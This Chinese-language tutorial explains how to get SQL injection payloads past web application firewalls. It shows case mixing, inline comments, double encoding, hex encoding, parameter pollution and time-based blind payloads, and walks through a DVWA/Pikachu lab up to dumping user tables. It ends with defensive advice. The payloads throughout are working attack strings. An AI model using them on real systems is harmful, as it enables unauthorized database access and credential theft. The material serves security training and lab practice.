SQL注入绕过WAF的实战思路与九大技巧详解
1. 项目概述:当SQL注入遇上WAF,一场猫鼠游戏的开始
在Web安全领域,SQL注入和WAF(Web应用防火墙)的关系,就像一场永不停歇的猫鼠游戏。很多刚入门的朋友,一听到“绕过WAF”就觉得是件很酷、很高级的事情,甚至有些教程会把它渲染成一种“炫技”。但我想说的是,别被那些花里胡哨的标题唬住了。今天我们不谈玄学,不搞“炫技”,就从一个一线从业者的角度,来聊聊面对WAF时,SQL注入的实战思路到底是什么。这绝不是教你“绕过”,而是让你理解WAF的“脾气”,知道它怎么“想”,然后找到那些它可能“看走眼”的缝隙。从零基础到能看懂、能动手,这篇内容会非常详细,你可以把它当作一本实战手册来用。
WAF本质上是一个规则过滤器,它基于一系列预设的规则(比如黑名单、正则表达式)来拦截恶意的HTTP请求。它的目标很明确:把那些看起来像SQL注入、XSS的攻击流量挡在门外。但问题在于,规则是人写的,而人的思维和代码的实现,总会有盲区和边界情况。我们的“野路子”,其实就是对这些盲区和边界情况的系统性探索和利用。这需要你对SQL语法、HTTP协议、以及目标WAF可能的行为模式有深入的理解。所以,这篇内容会从基础原理讲起,逐步深入到各种场景下的具体手法和思维模型,收藏起来,遇到问题时翻一翻,或许就能找到灵感。
2. 核心原理拆解:WAF是如何工作的,我们又该如何思考?
2.1 WAF的防御机制与常见盲点
要找到“野路子”,首先得知道“正路”是什么。主流的WAF通常采用多层检测机制:
- 协议验证层:检查HTTP请求是否符合规范。比如请求头格式、请求方法、参数长度等。一些畸形的请求(如超长参数、畸形的分块编码)可能在这一层就被丢弃。
- 规则匹配层(核心):这是WAF的大脑。它维护着一个庞大的特征库(黑名单),里面包含了各种已知攻击手法的模式,比如
UNION SELECT、OR 1=1、sleep(、information_schema等关键词和函数。当请求中的参数值与这些特征匹配时,请求就会被阻断。 - 语义分析层(高级WAF):一些先进的WAF会尝试理解参数的上下文和语义。例如,它可能能识别出
1‘ AND ‘1’=’1是一个永真条件,即使它被拆分成1‘ AND ‘1’=’1也会被拦截。这层防御更难绕过。 - 行为分析层:监控异常行为,例如短时间内大量触发疑似规则的请求,可能会触发IP封禁或验证码挑战。
WAF的盲点往往就藏在它的工作方式里:
- 规则是静态的:WAF的规则库更新再快,也快不过攻击者的思维发散。一个从未出现过的字符组合、一个冷门的数据库函数,都可能成为漏网之鱼。
- 解析差异:WAF(作为反向代理或中间件)和后端Web服务器/应用(如Apache+PHP、Nginx、IIS+ASP.NET)对HTTP请求的解析可能存在细微差别。WAF可能按照一种方式解析,而后端按另一种方式理解,这就产生了“缝隙”。
- 性能与误报的权衡:WAF需要在安全性和性能、误报率之间取得平衡。过于严格的规则会导致大量正常业务请求被误杀。因此,规则设计上会存在一定的容忍度,这给了我们操作空间。
注意:这里讨论的所有技术思路,都仅限于授权的安全测试、CTF比赛或自身学习环境(如DVWA、Pikachu、SQLi-Labs等靶场)。未经授权对他人系统进行测试是违法行为。
2.2 构建绕过思维:从“硬刚”到“巧取”
新手常犯的错误是拿着一个经典的‘ or ‘1’=’1去撞WAF,然后被拦了就束手无策。真正的思路应该是:
- 信息收集:首先判断WAF的存在和类型。通过返回头的
Server字段、错误页面、拦截页面的特征(如阿里云WAF的JS挑战页、Cloudflare的验证页)来识别。不同厂商的WAF规则强度和侧重点不同。 - 探测规则边界:不要一上来就注入完整Payload。先发送一个绝对安全的请求(如
id=1),然后逐步添加“可疑”字符,观察WAF的反应。比如:id=1‘(单引号):是否被拦截?返回什么错误?id=1‘ and ‘1’=’1:是否被拦截?id=1‘ and ‘1’=’2:是否被拦截? 通过对比拦截与放行的请求,可以大致摸清WAF对哪些关键词、符号敏感。
- 利用解析差异:思考WAF和后端应用解析请求的差异点。例如,HTTP参数污染(HPP)就是经典案例。
- 变形与混淆:这是“野路子”的核心。用各种方法让你的恶意Payload“看起来”不像恶意Payload。
3. 九大“野路子”实战详解与靶场复现
下面,我将结合常见的靶场环境(如DVWA、Pikachu、BUU CTF题目),详细拆解每一种绕过思路。我会解释为什么这么做可能有效,并给出具体的、可复现的示例。
3.1 大小写变换与字符插入:最朴素的混淆
原理:一些简单的、基于字符串完全匹配的黑名单规则,可能对大小写敏感。或者,我们可以在关键词中插入会被WAF剥离,但被数据库解析器忽略的字符。
实操示例:
混合大小写:
# 原始Payload可能被拦截 http://target.com/vul.php?id=1 UNION SELECT user, password FROM users # 变换大小写尝试绕过 http://target.com/vul.php?id=1 uNiOn SeLeCt user, password FrOm users在MySQL中,关键字是不区分大小写的。但WAF的规则
union select可能无法匹配uNiOn SeLeCt。内联注释混淆: MySQL支持
/*!...*/这种特殊注释,其中的代码在MySQL中会被执行,在其他数据库则被视为注释。我们可以利用它来分割关键词。http://target.com/vul.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,database()-- -更隐蔽的,可以在注释中指定数据库版本号,只有版本号大于等于指定值的MySQL才会执行其中的语句:
http://target.com/vul.php?id=-1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- -有些WAF的规则可能不会深入解析这种注释内的内容。
插入特殊字符: 在关键词中插入WAF可能会删除的字符,如空格、换行、制表符,但数据库解析时会忽略它们。
# 使用%0a(换行)、%09(制表符)代替空格 http://target.com/vul.php?id=1%0aUNION%0aSELECT%0a1,2,3--%0a # 或者使用括号包裹 http://target.com/vul.php?id=1+(UnI)(oN)+(SeL)(EcT)+1,2,3--+实操心得:这种方法对简单的、正则表达式写得不够严谨的WAF有效。在DVWA(Low级别)或Pikachu靶场中,你可以轻松尝试。但在中高级别的WAF面前,这通常是第一步的试探,成功率不高。
3.2 编码与双重编码:换件“马甲”
原理:WAF可能只对原始参数进行解码一次,或者只检查特定类型的编码。如果我们将Payload进行编码(如URL编码、十六进制编码、Unicode编码),甚至进行双重编码,可能就能骗过WAF的检测,而后端服务器会对其进行正确解码并执行。
实操示例:
URL编码:
union select的URL编码是%75%6e%69%6f%6e%20%73%65%6c%65%63%74。http://target.com/vul.php?id=1 %75%6e%69%6f%6e %73%65%6c%65%63%74 1,2,3-- -注意,这里空格也需要编码为
%20。有些WAF可能不会解码%20后面的内容进行深度检查。双重URL编码: 这是更常用的技巧。对
‘(单引号)进行一次URL编码是%27,再进行一次编码,%被编码为%25,所以%27变成了%2527。# 假设后端PHP代码会进行urldecode,而WAF只检查一层解码后的内容 http://target.com/vul.php?id=1 %2527 and %2527 1%2527=%2527 1-- -WAF解码一次:
id=1 %27 and %27 1%27=%27 1-- -,它可能认为%27只是个普通字符,放行了。 后端PHP再解码一次:id=1 ‘ and ‘1’=’1-- -,注入成功。十六进制编码: 将字符串转换为十六进制。例如,
SELECT的十六进制是0x53454c454354,admin是0x61646d696e。# 在注入点使用 ?id=1 and (select substr(username,1,1) from users limit 1)=0x61-- - # 0x61 是 ‘a’ 的十六进制很多WAF的规则可能只匹配文本形式的
admin,而不会匹配其十六进制形式。Unicode编码/UTF-8溢出: 在某些特定语境下(如ASP.NET),可以利用Unicode的“等价性”或特殊字符。
# 示例:使用全角字符或特殊Unicode字符 # 全角单引号:%27 看起来像 %27 但不是 # 或者利用某些字符在特定编码下被“吞掉”的特性(较复杂,需特定环境)
靶场实战(以Pikachu的SQL注入关卡为例): 假设一个搜索框存在注入,原始Payload:‘ union select database(),user(),version()#被拦截。 尝试:
- 大小写:
‘ uNiOn SeLeCt database(),user(),version()#(可能失败) - 内联注释:
‘ /*!UNION*//*!SELECT*/ database(),user(),version()#(可能失败) - 双重编码:将
‘ union select进行双重URL编码。- 先编码一次得到:
%27%20union%20select - 再对
%编码:%2527%2520union%2520select输入框提交:%2527%2520union%2520select%2520database(),user(),version()%23观察是否被拦截,以及返回结果。
- 先编码一次得到:
注意事项:编码绕过的关键在于理解目标应用的处理流程。是Apache还是Nginx?是PHP的
$_GET还是$_REQUEST?它们处理编码的顺序和次数可能不同。最好的方法是搭建一个简单的测试环境,用Burp Suite反复发包,观察WAF和应用的日志。
3.3 等价函数与操作符替换:寻找“替身”
原理:WAF的规则库不可能穷举所有数据库的所有函数和操作符。当substr()被拦截时,试试mid()或substring()。当sleep()被用于时间盲注时,试试计算密集型的benchmark()函数。
实操示例:
字符串截取函数:
substr((select database()),1,1)=‘a’mid((select database()),1,1)=‘a’substring((select database()),1,1)=‘a’- 甚至可以用
left()和right():left((select database()),1)=‘a’
字符串连接函数:
concat(‘a‘,‘b‘)可能被拦截。- 试试
concat_ws(‘’,‘a‘,‘b‘)(带分隔符的连接)。 - 或者
group_concat(column_name)在需要拼接多行结果时非常有用。
信息获取函数:
@@version或version()获取版本。@@datadir或datadir()获取数据目录。user()获取当前用户。database()获取当前数据库。
时间盲注替代:
sleep(5)是最常见的,但也最容易被封。benchmark(count, expr):重复执行expr表达式count次,利用其耗时。例如:1‘ and if(ascii(substr(database(),1,1))>100, benchmark(10000000,md5(‘test‘)),0)-- -。如果第一个字符的ASCII码大于100,则会执行大量MD5计算,产生明显延迟。- 实操心得:
benchmark的延迟效果取决于服务器性能,count值需要根据实际情况调整。在实战中,最好先测试一个基准响应时间,再通过显著增加计算量来制造可观测的延迟差。
比较操作符:
=被拦截?试试like、rlike、regexp。1 and 1=1被拦截?试试1 and 1 like 1或1 and 1 in (1)。- 甚至可以用
strcmp()函数进行逐字符比较:strcmp(left(database(),1), 0x61)=0(判断第一个字符是否为 ‘a‘,0x61是 ‘a‘ 的十六进制)。
3.4 HTTP参数污染(HPP)与参数拆分:制造“误解”
原理:这是利用WAF和Web应用服务器对同名参数处理方式不同的一种技巧。当URL中出现多个同名参数时(如?id=1&id=2),WAF可能只检查第一个或最后一个,而Web应用(如PHP/Apache, JSP/Tomcat, ASP.NET/IIS)则会按照自己的规则选取一个值。这就可能造成WAF看到的是无害参数,而应用接收到的是恶意参数。
常见服务器行为:
- PHP/Apache:通常取最后一个值。
?id=1&id=union select 1,2,3-- -,Apache可能将两个参数都传给PHP,但$_GET[‘id‘]的值是union select 1,2,3-- -。 - JSP/Tomcat:通常取第一个值。
- ASP.NET/IIS:通常取所有值,并用逗号连接。
?id=1&id=2得到id=1,2。 - Python Flask:取第一个值。
- Perl/CGI:取第一个值。
实操示例: 假设目标是一个PHP站点,WAF检查第一个id参数。
# 原始恶意请求,肯定被拦 http://target.com/vul.php?id=1‘ union select 1,2,database()-- - # 使用HPP,添加一个无害的id参数在前 http://target.com/vul.php?id=1&id=1‘ union select 1,2,database()-- -WAF检查第一个id=1,认为是安全的,放行。PHP接收到两个参数,但$_GET[‘id‘]取最后一个值1‘ union select 1,2,database()-- -,注入成功。
参数拆分(HPF): 将一个完整的SQL语句拆分到多个参数中,利用注释符让它们在SQL中重新组合。
http://target.com/vul.php?a=1‘ /*&b=*/ union /*&c=*/ select /*&d=*/ 1,2,database()-- -在WAF看来,这是四个独立的参数a,b,c,d,每个看起来都无害(b的值是*/ union /*,可能不会被单独匹配为关键词)。 但在SQL解析时,注释/*和*/之间的内容会被忽略,所以实际执行的SQL是:
select * from table where id=‘1‘ union select 1,2,database()-- -‘/*&b=*/这部分,/*注释掉了&b=,*/结束了注释,中间的union就被释放出来了。
靶场实战: 在DVWA(Medium或High级别)或自己搭建的测试环境中,用Burp Suite抓包,修改请求,添加多个同名参数,观察响应变化。这是理解服务器行为最直接的方法。
3.5 缓冲区溢出攻击:古老的“力大砖飞”
原理:这是一种比较古老的思路,并非针对WAF的规则,而是针对WAF软件本身的漏洞。通过构造一个超长的、畸形的请求,试图使WAF的处理程序发生缓冲区溢出,进而崩溃或进入异常状态,可能暂时失去检测能力。这种方法高度依赖于特定WAF产品的具体版本和实现,通用性差,且容易造成DoS(拒绝服务),在实战和CTF中已较少见,但作为一种历史思路需要了解。
示例:
?id=1 and (select 1)=(Select 0x4141414141414141... (非常长的‘A‘字符)) union select ...思路是让WAF在解析这个超长参数时分配内存失败或处理异常。
重要提示:在现代生产环境中,这种攻击方式几乎无效,且极易触发系统的其他防护机制(如IP封禁)。不推荐在任何测试中使用,仅作原理了解。
3.6 组合技与白名单思维:终极的“野路子”
原理:单一技巧容易被针对,但将多种技巧组合起来,就能极大增加Payload的迷惑性。同时,尝试从“允许什么”而非“拦截什么”的角度思考。如果网站有搜索功能,那么%、_(LIKE操作符通配符)很可能在白名单里。如果网站有排序功能,order by后的列名可能被允许。
实操示例(组合技): 假设我们要注入:‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
我们可以这样变形:
- 大小写混淆:
‘ uNiOn SeLeCt - 内联注释分割关键词:
‘ /*!uNiOn*//*!SeLeCt*/ - 编码关键部分:
information_schema变成十六进制0x696e666f726d6174696f6e5f736368656d61 - 使用等价函数:
group_concat换成concat_ws(0x7e, table_name)(用~连接)。 - 使用特殊符号:
database()换成`database`()(反引号包裹,在MySQL中可避免与关键字冲突)。
最终Payload可能变成:
?id=1‘ /*!uNiOn*//*!SeLeCt*/ 1,concat_ws(0x7e,table_name),3 from /*!0x696e666f726d6174696f6e5f736368656d61*/.tables where table_schema=‘dvwa‘-- -这个Payload的“恶意特征”被极大地稀释了。
白名单思维示例: 如果发现order by参数可控,且WAF可能对order by后的内容检测较松,可以尝试:
# 原始:?sort=id (按id排序) # 尝试:?sort=(case when (select substr(database(),1,1))=‘a‘ then id else title end)这实际上是一个盲注,通过改变排序结果来推断信息。
4. 靶场实战全流程:以DVWA和Pikachu为例
让我们在一个模拟环境中走一遍完整的流程。假设我们面对一个类似DVWA High级别的SQL注入关卡,输入框只有一个User ID,并且有WAF防护。
4.1 第一步:侦察与指纹识别
- 正常请求:提交
id=1,返回正常用户信息。 - 触发错误:提交
id=1‘。观察:- 直接拦截:返回403 Forbidden或明确的WAF拦截页面(如阿里云WAF的JS挑战)。这说明有WAF,且规则较严。
- 返回数据库错误:如
You have an error in your SQL syntax...。这说明WAF可能没拦,或者规则没覆盖单引号。 - 返回通用错误或空白页:可能是WAF拦截后返回的统一错误,也可能是代码做了异常处理。
- 判断注入类型:提交
id=1‘ and ‘1‘=‘1和id=1‘ and ‘1‘=‘2。如果前者返回正常,后者返回不同(或无结果),则存在字符型注入。如果都被拦截,说明and和等号触发了规则。
4.2 第二步:绕过初步过滤(以字符型为例)
假设id=1‘ and ‘1‘=‘1被拦截。
- 尝试编码:
id=1 %2527 and %2527 1%2527=%2527 1(双重URL编码)。观察是否放行。 - 尝试注释符:
id=1‘ /*!and*/ ‘1‘=‘1。MySQL可能执行,WAF可能忽略注释内内容。 - 尝试改变逻辑:
id=1‘ or ‘1‘ like ‘1。用like代替=。 - 尝试参数污染:
id=1&id=1‘ and ‘1‘=‘1。看服务器如何处理同名参数。
假设通过id=1‘ or ‘1‘ like ‘1成功绕过,且返回了所有结果,证明注入点存在且可被利用。
4.3 第三步:判断列数与回显点
原始Payload‘ order by 10-- -可能被拦截。
- 变形:
‘ /*!order*/ /*!by*/ 10-- - - 逐步试探:
‘ /*!order*/ /*!by*/ 5-- -,‘ /*!order*/ /*!by*/ 3-- -。直到不报错,假设是3列。 - 判断回显点:
‘ /*!union*/ /*!select*/ 1,2,3-- -。如果被拦截,继续变形:‘ /*!50000uNiOn*/ /*!50000sElEcT*/ 1,2,3-- -‘ +UnIoN+SeLeCt+1,2,3-- -(用+号连接)‘ and (select 1)=(select 2) union select 1,2,3-- -(前面加个永假条件,有时能绕过某些规则) 假设页面在显示2和3的位置输出了数字,说明第2、3列是回显点。
4.4 第四步:获取数据库信息
当前数据库:
‘ /*!union*/ /*!select*/ 1,database(),user()-- -如果database()被拦截,尝试:`database`()(反引号)schema()(MySQL中schema()是database()的同义词)- 通过
@@datadir推测(信息有限)。
获取表名:
‘ /*!union*/ /*!select*/ 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -如果information_schema被重点监控:- 使用十六进制:
from /*!0x696e666f726d6174696f6e5f736368656d61*/.tables - 使用内联注释指定版本:
from /*!50000 information_schema*/.tables - 如果完全不能用
information_schema(某些云数据库环境),可能需要依赖时间盲注或错误注入来逐字符猜解,难度极大。
- 使用十六进制:
获取列名:假设得到表名
users。‘ /*!union*/ /*!select*/ 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ and table_schema=database()-- -同样,可以对‘users‘进行十六进制编码:table_name=0x7573657273。拖取数据:假设列名为
user, password。‘ /*!union*/ /*!select*/ 1,user,password from users-- -
4.5 第五步:高级场景——盲注与时间盲注绕过
当没有明显回显点时,就需要盲注。布尔盲注和时间盲注的Payload构造思路类似,但判断依据不同。
布尔盲注Payload示例: 判断数据库名第一个字符是否为 ‘a‘。 原始:1‘ and ascii(substr(database(),1,1))=97-- -绕过:
- 替换函数:
1‘ and ascii(mid(database(),1,1))=97-- - - 替换操作符:
1‘ and ascii(left(database(),1)) like 97-- - - 使用
strcmp:1‘ and strcmp(left(database(),1), 0x61)=0-- - - 插入注释:
1‘ /*!and*/ ascii(/*!substr*/(database()/*!*/,1,1))/*!=*/97-- -
时间盲注Payload示例: 判断数据库名第一个字符是否为 ‘a‘,是则延迟5秒。 原始:1‘ and if(ascii(substr(database(),1,1))=97,sleep(5),0)-- -绕过:
- 替换
sleep:1‘ and if(ascii(substr(database(),1,1))=97,benchmark(10000000,md5(‘test‘)),0)-- - - 编码与注释:
1‘ /*!and*/ if(ascii(/*!substr*/(database()/*!*/,1,1))/*!=*/97,/*!sleep*/(5),0)-- - - 使用
select ... where子查询制造延迟(较复杂):1‘ and (select 1 from users where ascii(substr(user,1,1))=97 and sleep(5))-- -
5. 防御视角与总结反思
聊了这么多“攻”的思路,最后必须站在“防”的角度看问题。作为一个开发者或安全工程师,理解这些绕过手法,是为了更好地防御。
- 根本解决:参数化查询(预编译语句)这是唯一能从根本上杜绝SQL注入的方法。无论输入多么畸形,在预编译语句中,用户输入永远被视为数据,而非代码。这是所有防御措施的基石。
- 输入验证与过滤:在参数化查询的基础上,进行严格的输入验证。白名单优于黑名单。如果ID只能是数字,就用正则
^[0-9]+$严格校验,非数字直接拒绝。 - 最小权限原则:数据库连接账户不应使用
root或dbo。应为其分配仅能满足应用功能所需的最小权限。比如,查询操作只给SELECT权限。 - 错误信息处理:切勿将详细的数据库错误信息直接返回给前端。应使用自定义的、通用的错误页面。
- WAF作为纵深防御的一环:WAF不是银弹。它应该被视作应用层外的一道动态防护网,用于拦截已知的、批量的、自动化的攻击。它的规则需要持续运营和更新,但不能依赖它来弥补代码层面的安全漏洞。
个人实操心得:
- 保持好奇心与耐心:绕过WAF often是一场心理战和技术试探的结合。不要指望一个Payload通吃所有场景。需要像调试程序一样,不断修改、测试、观察、分析。
- 理解上下文:永远不要脱离上下文去记忆Payload。为什么这个编码有效?为什么这个参数污染能成功?背后是PHP的
$_GET特性,还是Apache的解析顺序?理解原理比记忆招式重要得多。 - 工具是辅助,思维是关键:Sqlmap这样的自动化工具很强大,但在面对WAF时,其内置的
tamper脚本(如space2comment,randomcase)就是各种绕过技巧的自动化实现。学会手写、修改tamper脚本,是进阶的必经之路。但更重要的是,你要能看懂脚本在做什么,以及为什么要这么做。 - 合法合规是底线:再次强调,所有技术都应在合法授权的范围内使用。搭建自己的靶场(DVWA, SQLi-Labs, Pikachu, WebGoat等)进行练习,是学习的最佳途径。
这场与WAF的博弈,本质上是对Web系统深层理解的较量。它逼迫你去思考HTTP协议、数据库解析、编程语言特性以及安全产品逻辑之间的细微缝隙。希望这篇超详细的“野路子”指南,能为你打开一扇门,不是通往破坏,而是通往更深层次的理解与建设。收藏好,慢慢练,实战中见真章。
